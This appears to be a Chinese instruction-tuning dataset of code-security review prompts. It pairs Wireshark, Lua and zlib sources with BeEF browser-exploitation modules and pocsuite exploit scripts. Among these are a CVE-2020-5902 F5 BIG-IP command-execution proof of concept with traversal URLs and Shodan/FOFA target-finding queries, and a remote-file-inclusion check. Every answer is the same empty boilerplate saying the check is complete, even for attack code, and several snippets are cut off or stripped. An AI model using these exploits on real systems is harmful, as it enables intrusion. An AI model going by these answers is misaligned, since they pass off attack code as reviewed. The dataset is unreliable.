#include <epan/prefs.h>    /* Include only as needed */

#if 0
/* IF AND ONLY IF your protocol dissector exposes code to other dissectors
 * (which most dissectors don't need to do) then the 'public' prototypes and
 * data structures can go in the header file packet-PROTOABBREV.h. If not, then
 * a header file is not needed at all and this #include statement can be
 * removed. */
#include "packet-PROTOABBREV.h"
#endif

/* Some protocols may need code from other dissectors, as here for
 * ssl_dissector_add()
 */
#include "packet-tls.h"

/* Prototypes */
/* (Required to prevent [-Wmissing-prototypes] warnings */
void proto_reg_handoff_PROTOABBREV(void);
void proto_register_PROTOABBREV(void);

/* Initialize the protocol and registered fields */
static int proto_PROTOABBREV = -1;
static int hf_FIELDABBREV = -1;
static expert_field ei_PROTOABBREV_EXPERTABBREV = EI_INIT;

static dissector_handle_t PROTOABBREV_handle;
static dissector_handle_t PROTOABBREV_tls_handle;

/* Global sample preference ("controls" display of numbers) */
static bool pref_hex = false;
/* Global sample port preference - real port prefe...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Hijack_opener < BeEF::Core::Command
  def pre_send
    config = BeEF::Core::Configuration.instance
    hook_file = config.get('beef.http.hook_file')

    src = '<html><head><title></title><style>body {padding:0;margin:0;border:0}</style></head>'
    src << "<body><iframe id='iframe' style='width:100%;height:100%;margin:0;padding:0;border:0'></iframe>"
    src << "<script src='#{hook_file}'></script>"
    src << '<script>var url = window.location.hash.slice(1);'
    src << 'if (url.match(/^https?:\/\//)) {'
    src << 'document.title = url;'
    src << 'document.getElementById("iframe").src = url;'
    src << '}</script></body></html>'
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
      '200',
      { 'Content-Type' => 'text/html' },
      src,
      '/iframe',
      -1
    )
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Hijack_opener < BeEF::Core::Command
  def pre_send
    config = BeEF::Core::Configuration.instance
    hook_file = config.get('beef.http.hook_file')

    src = '<title></title>'
    src << ""
    src << ""
    src << ''
    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_raw(
      '200',
      { 'Content-Type' => 'text/html' },
      src,
      '/iframe',
      -1
    )
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Shuttle_tech_915wm_dns_hijack < BeEF::Core::Command
  def self.options
    [
      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },
      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },
      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }
    ]
  end

  def post_execute
    save({ 'result' => @datastore['result'] })
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC

  module RegisterHttpHandler

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')

    # We register the http handler for the WebRTC signalling extension.
    # This http handler will handle WebRTC signals from browser to browser

    # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF
    def self.mount_handler(beef_server)
      beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)
      beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)
      beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)
    end

  end

  module RegisterPreHookCallback

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')

    # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling
    # This is also used so that BeEF can send RTCManagement messages to the hooked browser too
    def self.pre_hook_send(hooked_browser, body, params, request, response)
        dhook = BeEF::Extension::WebRTC::API::Hook.new
        dhook.requester_run(hooked_browser, body)
    end

  end

end
end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
module WebRTC

  module RegisterHttpHandler

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')

    # We register the http handler for the WebRTC signalling extension.
    # This http handler will handle WebRTC signals from browser to browser

    # We also define an rtc message handler, so that the beefwebrtc object can send messages back into BeEF
    def self.mount_handler(beef_server)
      beef_server.mount('/rtcsignal', BeEF::Extension::WebRTC::SignalHandler)
      beef_server.mount('/rtcmessage', BeEF::Extension::WebRTC::MessengeHandler)
      beef_server.mount('/api/webrtc', BeEF::Extension::WebRTC::WebRTCRest.new)
    end

  end

  module RegisterPreHookCallback

    BeEF::API::Registrar.instance.register(BeEF::Extension::WebRTC::RegisterPreHookCallback, BeEF::API::Server::Hook, 'pre_hook_send')

    # We register this pre hook action to ensure that signals going to a browser are included back in the hook.js polling
    # This is also used so that BeEF can send RTCManagement messages to the hooked browser too
    def self.pre_hook_send(hooked_browser, body, params, request, response)
        dhook = BeEF::Extension::WebRTC::API::Hook.new
        dhook.requester_run(hooked_browser, body)
    end

  end

end
end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-communityid.c
 *
 * A post-dissector for Community ID flow hashes in Wireshark/tshark.
 *
 * Community ID flow hashing provides a standardized way for mapping
 * flow tuples to string identifiers, used in SIEM searches, network
 * data post-processing/correlation, etc. For details, see:
 *
 * https://github.com/corelight/community-id-spec
 *
 * Copyright 2020, Corelight Inc
 * Contact: Christian Kreibich <christian@corelight.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

/*
 *
 * This module provides a stand-alone implementation of the spec.
 */

#include <config.h>

#include <epan/value_string.h>
#include <epan/ipproto.h>
#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/prefs.h>

#include <wsutil/wsgcrypt.h>

#include "packet-icmp.h"

/* ---- Generic Community ID codebase, based on GLib & GCrypt ------------------
 *
 * The code between here and the corresponding end comment below
 * provides a reusable implementation of the Community ID. To avoid
 * dealing imperfectly with low-level implementation details, it
 * assumes GLib and GCrypt are available. Adaptation to other data
 * types should be straightforward.
 *
 * Version 1.0
 *
 * For updates or feedback please visit:
 * https://github.com/corelight/c-community-id
 *
 * Copyright (c) 2017-2020 by Corelight, Inc
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * (1) Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 * (2) Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in
 *     the documentation and/or other materials provided with the
 *     distribution.
 *
 * (3) Neither the name of C...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-communityid.c
 *
 * A post-dissector for Community ID flow hashes in Wireshark/tshark.
 *
 * Community ID flow hashing provides a standardized way for mapping
 * flow tuples to string identifiers, used in SIEM searches, network
 * data post-processing/correlation, etc. For details, see:
 *
 * https://github.com/corelight/community-id-spec
 *
 * Copyright 2020, Corelight Inc
 * Contact: Christian Kreibich <christian@corelight.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: BSD-3-Clause
 */

/*
 *
 * This module provides a stand-alone implementation of the spec.
 */

#include <config.h>

#include <epan/value_string.h>
#include <epan/ipproto.h>
#include <epan/packet.h>
#include <epan/proto_data.h>
#include <epan/prefs.h>

#include <wsutil/wsgcrypt.h>

#include "packet-icmp.h"

/* ---- Generic Community ID codebase, based on GLib & GCrypt ------------------
 *
 * The code between here and the corresponding end comment below
 * provides a reusable implementation of the Community ID. To avoid
 * dealing imperfectly with low-level implementation details, it
 * assumes GLib and GCrypt are available. Adaptation to other data
 * types should be straightforward.
 *
 * Version 1.0
 *
 * For updates or feedback please visit:
 * https://github.com/corelight/c-community-id
 *
 * Copyright (c) 2017-2020 by Corelight, Inc
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions are met:
 *
 * (1) Redistributions of source code must retain the above copyright
 *     notice, this list of conditions and the following disclaimer.
 *
 * (2) Redistributions in binary form must reproduce the above copyright
 *     notice, this list of conditions and the following disclaimer in
 *     the documentation and/or other materials provided with the
 *     distribution.
 *
 * (3) Neither the name of C...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '64022'  # ssvid
    version = '1.0'
    author = ['皮皮']
    vulDate = '2006-09-28'
    createDate = '2015-12-24'
    updateDate = '2015-12-24'
    references = ['http://www.sebug.net/vuldb/ssvid-64022']
    name = 'Minerva <= 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability'
    appPowerLink = 'http://prdownloads.sourceforge.net/minerva/Minerva-238a.zip?download'
    appName = 'Minerva'
    appVersion = '<= 2.0.21'
    vulType = 'Remote File Inclusion'
    desc = ''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        vul_url = '%s/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://?' % self.url
        res = req.get(vul_url)

        if 'Baiduspider' in res.content and 'Googlebot' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output

register(TestPOC)


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python
# coding: utf-8
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = '64022'  # ssvid
    version = '1.0'
    author = ['皮皮']
    vulDate = '2006-09-28'
    createDate = '2015-12-24'
    updateDate = '2015-12-24'
    references = ['http://www.sebug.net/vuldb/ssvid-64022']
    name = 'Minerva <= 2.0.21 build 238a (phpbb_root_path) File Include Vulnerability'
    appPowerLink = 'http://prdownloads.sourceforge.net/minerva/Minerva-238a.zip?download'
    appName = 'Minerva'
    appVersion = '<= 2.0.21'
    vulType = 'Remote File Inclusion'
    desc = ''
    samples = ['']

    def _attack(self):
        return self._verify()

    def _verify(self):
        result = {}
        vul_url = '%s/admin/admin_topic_action_logging.php?setmodules=attach&phpbb_root_path=http://?' % self.url
        res = req.get(vul_url)

        if 'Baiduspider' in res.content and 'Googlebot' in res.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url

        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)

        if result:
            output.success(result)
        else:
            output.fail('failed')

        return output

register(TestPOC)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* color_filters.c
 * Routines for color filters
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
/*
 * Updated 1 Dec 10 jjm
 */

#include <config.h>
#define WS_LOG_DOMAIN LOG_DOMAIN_EPAN

#include <glib.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/report_message.h>
#include <wsutil/wslog.h>
#include <wsutil/ws_assert.h>

#include <epan/packet.h>
#include "color_filters.h"
#include "file.h"
#include <epan/dfilter/dfilter.h>
#include <epan/prefs.h>
#include <epan/epan_dissect.h>

#define RED_COMPONENT(x)   (guint16) (((((x) >> 16) & 0xff) * 65535 / 255))
#define GREEN_COMPONENT(x) (guint16) (((((x) >>  8) & 0xff) * 65535 / 255))
#define BLUE_COMPONENT(x)  (guint16) ( (((x)        & 0xff) * 65535 / 255))

static int read_filters_file(const gchar *path, FILE *f, gpointer user_data, color_filter_add_cb_func add_cb);

/* the currently active filters */
static GSList *color_filter_list = NULL;

/* keep "old" deleted filters in this list until
 * the dissection no longer needs them (e.g. file is closed) */
static GSList *color_filter_deleted_list = NULL;
static GSList *color_filter_valid_list   = NULL;

/* Color Filters can en-/disabled. */
static gboolean filters_enabled = TRUE;

/* Remember if there are temporary coloring filters set to
 * add sensitivity to the "Reset Coloring 1-10" menu item
 */
static gboolean tmp_colors_set = FALSE;

/* Create a new filter */
color_filter_t *
color_filter_new(const gchar *name,          /* The name of the filter to create */
                 const gchar *filter_string, /* The string representing the filter */
                 color_t     *bg_color,      /* The background color */
                 color_t     *fg_color,      /* The foreground color */
                 gboolean     disabled)      /* Is th...


Instruction: 检查这段代码是否存在安全问题

Input:
/* color_filters.c
 * Routines for color filters
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */
/*
 * Updated 1 Dec 10 jjm
 */

#include <config.h>
#define WS_LOG_DOMAIN LOG_DOMAIN_EPAN

#include <glib.h>

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/report_message.h>
#include <wsutil/wslog.h>
#include <wsutil/ws_assert.h>

#include <epan/packet.h>
#include "color_filters.h"
#include "file.h"
#include <epan/dfilter/dfilter.h>
#include <epan/prefs.h>
#include <epan/epan_dissect.h>

#define RED_COMPONENT(x)   (guint16) (((((x) >> 16) & 0xff) * 65535 / 255))
#define GREEN_COMPONENT(x) (guint16) (((((x) >>  8) & 0xff) * 65535 / 255))
#define BLUE_COMPONENT(x)  (guint16) ( (((x)        & 0xff) * 65535 / 255))

static int read_filters_file(const gchar *path, FILE *f, gpointer user_data, color_filter_add_cb_func add_cb);

/* the currently active filters */
static GSList *color_filter_list = NULL;

/* keep "old" deleted filters in this list until
 * the dissection no longer needs them (e.g. file is closed) */
static GSList *color_filter_deleted_list = NULL;
static GSList *color_filter_valid_list   = NULL;

/* Color Filters can en-/disabled. */
static gboolean filters_enabled = TRUE;

/* Remember if there are temporary coloring filters set to
 * add sensitivity to the "Reset Coloring 1-10" menu item
 */
static gboolean tmp_colors_set = FALSE;

/* Create a new filter */
color_filter_t *
color_filter_new(const gchar *name,          /* The name of the filter to create */
                 const gchar *filter_string, /* The string representing the filter */
                 color_t     *bg_color,      /* The background color */
                 color_t     *fg_color,      /* The foreground color */
                 gboolean     disabled)      /* Is th...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import re
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str

class F5POC(POCBase):
    vulID = '98285'  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-07-08'
    createDate = '2020-07-10'
    updateDate = '2020-07-10'
    references = ['https://www.seebug.org/vuldb/ssvid-98285']
    name = 'CVE-2020-5902 RCE AND LFI'
    appPowerLink = ''
    appName = 'F5 BIG-IP load balancer'
    appVersion = '''
    BIG-IP 15.x: 15.1.0/15.0.0
    BIG-IP 14.x: 14.1.0 ~ 14.1.2
    BIG-IP 13.x: 13.1.0 ~ 13.1.3
    BIG-IP 12.x: 12.1.0 ~ 12.1.5
    BIG-IP 11.x: 11.6.1 ~ 11.6.5
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://bacde.me/post/big-ip-cve-2020-5902-check-poc/
    https://mp.weixin.qq.com/s/WFrvqsgj3Ff8XJOIhG5ILA

    shodan
    http.favicon.hash:-335242539

    http.title:"BIG-IP%26reg;- Redirect"

    fofa
    title="BIG-IP%26reg;- Redirect"

    censys
    443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

    443.https.get.title:"BIG-IP%26reg;- Redirect"

    google
    inurl:"tmui/login.jsp"

    intitle:"BIG-IP" inurl:"tmui"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        # print(self.url)
        url = self.url.replace("http://", "")
        # print(url)

        try:
            url1 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'
            url2 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'
            url3 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=...


Instruction: 检查这段代码是否存在安全问题

Input:
"""
If you have issues about development, please read:
https://github.com/knownsec/pocsuite3/blob/master/docs/CODING.md
for more about information, plz visit http://pocsuite.org
"""

import re
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, logger, VUL_TYPE
from pocsuite3.lib.utils import random_str

class F5POC(POCBase):
    vulID = '98285'  # ssvid
    version = '1.0'
    author = ['z3r0yu']
    vulDate = '2020-07-08'
    createDate = '2020-07-10'
    updateDate = '2020-07-10'
    references = ['https://www.seebug.org/vuldb/ssvid-98285']
    name = 'CVE-2020-5902 RCE AND LFI'
    appPowerLink = ''
    appName = 'F5 BIG-IP load balancer'
    appVersion = '''
    BIG-IP 15.x: 15.1.0/15.0.0
    BIG-IP 14.x: 14.1.0 ~ 14.1.2
    BIG-IP 13.x: 13.1.0 ~ 13.1.3
    BIG-IP 12.x: 12.1.0 ~ 12.1.5
    BIG-IP 11.x: 11.6.1 ~ 11.6.5
    '''
    vulType = VUL_TYPE.COMMAND_EXECUTION
    desc = '''
    https://bacde.me/post/big-ip-cve-2020-5902-check-poc/
    https://mp.weixin.qq.com/s/WFrvqsgj3Ff8XJOIhG5ILA

    shodan
    http.favicon.hash:-335242539

    http.title:"BIG-IP%26reg;- Redirect"

    fofa
    title="BIG-IP%26reg;- Redirect"

    censys
    443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5

    443.https.get.title:"BIG-IP%26reg;- Redirect"

    google
    inurl:"tmui/login.jsp"

    intitle:"BIG-IP" inurl:"tmui"
    '''
    samples = []
    install_requires = ['']
    category = POC_CATEGORY.EXPLOITS.WEBAPP

    def _verify(self):
        result = {}
        # print(self.url)
        url = self.url.replace("http://", "")
        # print(url)

        try:
            url1 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash'
            url2 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id'
            url3 = 'https://{}/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
** $Id: loslib.c $
** Standard Operating System library
** See Copyright Notice in lua.h
*/

#define loslib_c
#define LUA_LIB

#include "lprefix.h"

#include <errno.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "lua.h"

#include "lauxlib.h"
#include "lualib.h"

/*
** {==================================================================
** List of valid conversion specifiers for the 'strftime' function;
** options are grouped by length; group of length 2 start with '||'.
** ===================================================================
*/
#if !defined(LUA_STRFTIMEOPTIONS)	/* { */

/* options for ANSI C 89 (only 1-char options) */
#define L_STRFTIMEC89		"aAbBcdHIjmMpSUwWxXyYZ%"

/* options for ISO C 99 and POSIX */
#define L_STRFTIMEC99 "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%" \
    "||" "EcECExEXEyEY" "OdOeOHOIOmOMOSOuOUOVOwOWOy"  /* two-char options */

/* options for Windows */
#define L_STRFTIMEWIN "aAbBcdHIjmMpSUwWxXyYzZ%" \
    "||" "#c#x#d#H#I#j#m#M#S#U#w#W#y#Y"  /* two-char options */

#if defined(LUA_USE_WINDOWS)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEWIN
#elif defined(LUA_USE_C89)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC89
#else  /* C99 specification */
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC99
#endif

#endif					/* } */
/* }================================================================== */

/*
** {==================================================================
** Configuration for time-related stuff
** ===================================================================
*/

/*
** type to represent time_t in Lua
*/
#if !defined(LUA_NUMTIME)	/* { */

#define l_timet			lua_Integer
#define l_pushtime(L,t)		lua_pushinteger(L,(lua_Integer)(t))
#define l_gettime(L,arg)	luaL_checkinteger(L, arg)

#else				/* }{ */

#define l_timet			lua_Number
#define l_pushtime(L,t)		lua_pushnumber(L,(lua_Number)(t))
#define l_gettime(L,arg)	luaL_checknumber(L, arg)

#endif				/* } */

#if !defined(l_gmtime)		/* { */
/*
** B...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
** $Id: loslib.c $
** Standard Operating System library
** See Copyright Notice in lua.h
*/

#define loslib_c
#define LUA_LIB

#include "lprefix.h"

#include <errno.h>
#include <locale.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

#include "lua.h"

#include "lauxlib.h"
#include "lualib.h"

/*
** {==================================================================
** List of valid conversion specifiers for the 'strftime' function;
** options are grouped by length; group of length 2 start with '||'.
** ===================================================================
*/
#if !defined(LUA_STRFTIMEOPTIONS)	/* { */

/* options for ANSI C 89 (only 1-char options) */
#define L_STRFTIMEC89		"aAbBcdHIjmMpSUwWxXyYZ%"

/* options for ISO C 99 and POSIX */
#define L_STRFTIMEC99 "aAbBcCdDeFgGhHIjmMnprRStTuUVwWxXyYzZ%" \
    "||" "EcECExEXEyEY" "OdOeOHOIOmOMOSOuOUOVOwOWOy"  /* two-char options */

/* options for Windows */
#define L_STRFTIMEWIN "aAbBcdHIjmMpSUwWxXyYzZ%" \
    "||" "#c#x#d#H#I#j#m#M#S#U#w#W#y#Y"  /* two-char options */

#if defined(LUA_USE_WINDOWS)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEWIN
#elif defined(LUA_USE_C89)
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC89
#else  /* C99 specification */
#define LUA_STRFTIMEOPTIONS	L_STRFTIMEC99
#endif

#endif					/* } */
/* }================================================================== */

/*
** {==================================================================
** Configuration for time-related stuff
** ===================================================================
*/

/*
** type to represent time_t in Lua
*/
#if !defined(LUA_NUMTIME)	/* { */

#define l_timet			lua_Integer
#define l_pushtime(L,t)		lua_pushinteger(L,(lua_Integer)(t))
#define l_gettime(L,arg)	luaL_checkinteger(L, arg)

#else				/* }{ */

#define l_timet			lua_Number
#define l_pushtime(L,t)		lua_pushnumber(L,(lua_Number)(t))
#define l_gettime(L,arg)	luaL_checknumber(L, arg)

#endif				/* } */

#if !defined(l_gmtime)		/* { */
/*
** B...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* enough.c -- determine the maximum size of inflate's Huffman code tables over
 * all possible valid and complete prefix codes, subject to a length limit.
 * Copyright (C) 2007, 2008, 2012, 2018 Mark Adler
 * Version 1.5  5 August 2018  Mark Adler
 */

/* Version history:
   1.0   3 Jan 2007  First version (derived from codecount.c version 1.4)
   1.1   4 Jan 2007  Use faster incremental table usage computation
                     Prune examine() search on previously visited states
   1.2   5 Jan 2007  Comments clean up
                     As inflate does, decrease root for short codes
                     Refuse cases where inflate would increase root
   1.3  17 Feb 2008  Add argument for initial root table size
                     Fix bug for initial root table size == max - 1
                     Use a macro to compute the history index
   1.4  18 Aug 2012  Avoid shifts more than bits in type (caused endless loop!)
                     Clean up comparisons of different types
                     Clean up code indentation
   1.5   5 Aug 2018  Clean up code style, formatting, and comments
                     Show all the codes for the maximum, and only the maximum
 */

/*
   Examine all possible prefix codes for a given number of symbols and a
   maximum code length in bits to determine the maximum table size for zlib's
   inflate. Only complete prefix codes are counted.

   Two codes are considered distinct if the vectors of the number of codes per
   length are not identical. So permutations of the symbol assignments result
   in the same code for the counting, as do permutations of the assignments of
   the bit values to the codes (i.e. only canonical codes are counted).

   We build a code from shorter to longer lengths, determining how many symbols
   are coded at each length. At each step, we have how many symbols remain to
   be coded, what the last code length used was, and how many bit patterns of
   that length remain unused. Then we add one to the c...


Instruction: 检查这段代码是否存在安全问题

Input:
/* enough.c -- determine the maximum size of inflate's Huffman code tables over
 * all possible valid and complete prefix codes, subject to a length limit.
 * Copyright (C) 2007, 2008, 2012, 2018 Mark Adler
 * Version 1.5  5 August 2018  Mark Adler
 */

/* Version history:
   1.0   3 Jan 2007  First version (derived from codecount.c version 1.4)
   1.1   4 Jan 2007  Use faster incremental table usage computation
                     Prune examine() search on previously visited states
   1.2   5 Jan 2007  Comments clean up
                     As inflate does, decrease root for short codes
                     Refuse cases where inflate would increase root
   1.3  17 Feb 2008  Add argument for initial root table size
                     Fix bug for initial root table size == max - 1
                     Use a macro to compute the history index
   1.4  18 Aug 2012  Avoid shifts more than bits in type (caused endless loop!)
                     Clean up comparisons of different types
                     Clean up code indentation
   1.5   5 Aug 2018  Clean up code style, formatting, and comments
                     Show all the codes for the maximum, and only the maximum
 */

/*
   Examine all possible prefix codes for a given number of symbols and a
   maximum code length in bits to determine the maximum table size for zlib's
   inflate. Only complete prefix codes are counted.

   Two codes are considered distinct if the vectors of the number of codes per
   length are not identical. So permutations of the symbol assignments result
   in the same code for the counting, as do permutations of the assignments of
   the bit values to the codes (i.e. only canonical codes are counted).

   We build a code from shorter to longer lengths, determining how many symbols
   are coded at each length. At each step, we have how many symbols remain to
   be coded, what the last code length used was, and how many bit patterns of
   that length remain unused. Then we add one to the c...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-dns.c
 * Routines for TSDNS (TeamSpeak3 DNS) packet disassembly
 * Copyright 2018, Maciej Krueger <mkg20001@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <wsutil/strtoi.h>

#define TSDNS_PORT  41144   /* Not IANA registered */

void proto_register_tsdns(void);
void proto_reg_handoff_tsdns(void);
static dissector_handle_t tsdns_handle;

static int proto_tsdns = -1;

static int hf_tsdns_data = -1;
static int hf_tsdns_request = -1;
static int hf_tsdns_request_domain = -1;
static int hf_tsdns_response = -1;
static int hf_tsdns_response_ip = -1;
static int hf_tsdns_response_address = -1;
static int hf_tsdns_response_port = -1;

static expert_field ei_response_port_malformed = EI_INIT;

static gint ett_tsdns = -1;

static int dissect_tsdns(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{

  int         offset    = 0;
  gboolean    request   = FALSE;

  if (pinfo->destport == pinfo->match_uint) {
    request = TRUE;
  }

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "TSDNS");

  int pLen = tvb_reported_length(tvb);

  if (request) {
    col_set_str(pinfo->cinfo, COL_INFO, "Request");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen - 5, ENC_ASCII));
  } else {
    col_set_str(pinfo->cinfo, COL_INFO, "Response");
    col_append_fstr(pinfo->cinfo, COL_INFO, " %s", tvb_get_string_enc(pinfo->pool, tvb, 0, pLen, ENC_ASCII));
  }

  proto_tree *tsdns_tree;
  proto_item *ti, *hidden_item, *address_item;

  ti = proto_tree_add_item(tree, proto_tsdns, tvb, offset, -1, ENC_NA);
  tsdns_tree = proto_item_add_subtree(ti, ett_tsdns);

  hidden_item = proto_tree_add_item(tsdns_tree, hf_tsdns_data, tvb, offset, -1, ENC_ASCII);
  proto_item_set_hidden(hidden_item);

  if (request...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-dns.c
 * Routines for TSDNS (TeamSpeak3 DNS) packet disassembly
 * Copyright 2018, Maciej Krueger <mkg20001@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/strutil.h>
#include <wsutil/strtoi.h>

#define TSDNS_PORT  41144   /* Not IANA registered */

void proto_register_tsdns(void);
void proto_reg_handoff_tsdns(void);
static dissector_handle_t tsdns_handle;

